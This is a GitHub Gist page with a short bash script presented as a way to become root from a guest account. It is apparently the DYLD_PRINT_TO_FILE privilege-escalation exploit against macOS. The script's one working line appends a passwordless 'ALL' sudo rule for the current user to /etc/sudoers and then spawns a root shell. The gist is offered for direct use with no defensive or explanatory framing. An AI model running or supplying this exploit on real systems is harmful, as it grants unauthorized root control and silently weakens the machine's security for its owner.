Skip to content

Instantly share code, notes, and snippets.

@Irvyne
Created July 23, 2015 09:51
Show Gist options
  • Save Irvyne/b9c1138607fc5e3faf50 to your computer and use it in GitHub Desktop.
Save Irvyne/b9c1138607fc5e3faf50 to your computer and use it in GitHub Desktop.
Autoconnect as root when ur logged as Guets account
#!/bin/bash
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment